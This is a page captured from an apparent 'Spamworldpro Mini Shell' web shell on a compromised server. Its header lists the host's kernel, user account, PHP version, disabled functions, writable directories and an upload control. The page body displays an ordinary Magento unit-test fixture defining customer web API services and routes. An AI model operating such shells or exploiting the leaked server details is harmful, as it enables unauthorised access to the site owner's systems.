Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/vendor/magento/module-webapi/Test/Unit/Model/Config/_files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/vendor/magento/module-webapi/Test/Unit/Model/Config/_files/webapi.php
<?php declare(strict_types=1);

use Magento\Customer\Api\CustomerRepositoryInterface;

/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
return [
    'services' => [CustomerRepositoryInterface::class => [
        'V1' => [
            'methods' => [
                'getById' => [
                    'resources' => [
                        'Magento_Customer::customer_self',
                        'Magento_Customer::read',
                    ],
                    'secure' => false,
                    'realMethod' => 'getById',
                    'parameters' => [],
                    'input-array-size-limit' => null,
                ],
                'save' => [
                    'resources' => [
                        'Magento_Customer::manage'
                    ],
                    'secure' => false,
                    'realMethod' => 'save',
                    'parameters' => [],
                    'input-array-size-limit' => 50,
                ],
                'saveSelf' => [
                    'resources' => [
                        'Magento_Customer::customer_self'
                    ],
                    'secure' => true,
                    'realMethod' => 'save',
                    'parameters' => [
                        'id' => [
                            'force' => false,
                            'value' => null,
                        ],
                    ],
                    'input-array-size-limit' => null,
                ],
                'deleteById' => [
                    'resources' => [
                        'Magento_Customer::manage',
                        'Magento_Customer::delete',
                    ],
                    'secure' => false,
                    'realMethod' => 'deleteById',
                    'parameters' => [],
                    'input-array-size-limit' => null,
                ],
            ],
        ],
    ],
    ],
    'routes' => [
        '/V1/customers/me/session' => [
            'GET' => [
                'secure' => false,
                'service' => [
                    'class' => CustomerRepositoryInterface::class,
                    'method' => 'getById',
                ],
                'resources' => [
                    'Magento_Customer::customer_self' => true,
                ],
                'parameters' => [
                    'id' => [
                        'force' => true,
                        'value' => '%customer_id%',
                    ],
                ],
                'input-array-size-limit' => null,
            ],
        ],
        '/V1/customers/me' => [
            'GET' => [
                'secure' => false,
                'service' => [
                    'class' => CustomerRepositoryInterface::class,
                    'method' => 'getById',
                ],
                'resources' => [
                    'Magento_Customer::customer_self' => true,
                ],
                'parameters' => [
                    'id' => [
                        'force' => true,
                        'value' => null,
                    ],
                ],
                'input-array-size-limit' => null,
            ],
            'PUT' => [
                'secure' => true,
                'service' => [
                    'class' => CustomerRepositoryInterface::class,
                    'method' => 'save',
                ],
                'resources' => [
                    'Magento_Customer::customer_self' => true,
                ],
                'parameters' => [
                    'id' => [
                        'force' => false,
                        'value' => null,
                    ],
                ],
                'input-array-size-limit' => null,
            ],
        ],
        '/V1/customers' => [
            'POST' => [
                'secure' => false,
                'service' => [
                    'class' => CustomerRepositoryInterface::class,
                    'method' => 'save',
                ],
                'resources' => [
                    'Magento_Customer::manage' => true,
                ],
                'parameters' => [],
                'input-array-size-limit' => 50,
            ],
        ],
        '/V1/customers/:id' => [
            'GET' => [
                'secure' => false,
                'service' => [
                    'class' => CustomerRepositoryInterface::class,
                    'method' => 'getById',
                ],
                'resources' => [
                    'Magento_Customer::read' => true,
                ],
                'parameters' => [],
                'input-array-size-limit' => null,
            ],
            'DELETE' => [
                'secure' => false,
                'service' => [
                    'class' => CustomerRepositoryInterface::class,
                    'method' => 'deleteById',
                ],
                'resources' => [
                    'Magento_Customer::manage' => true,
                    'Magento_Customer::delete' => true,
                ],
                'parameters' => [],
                'input-array-size-limit' => null,
            ],
        ],
    ],
];

Spamworldpro Mini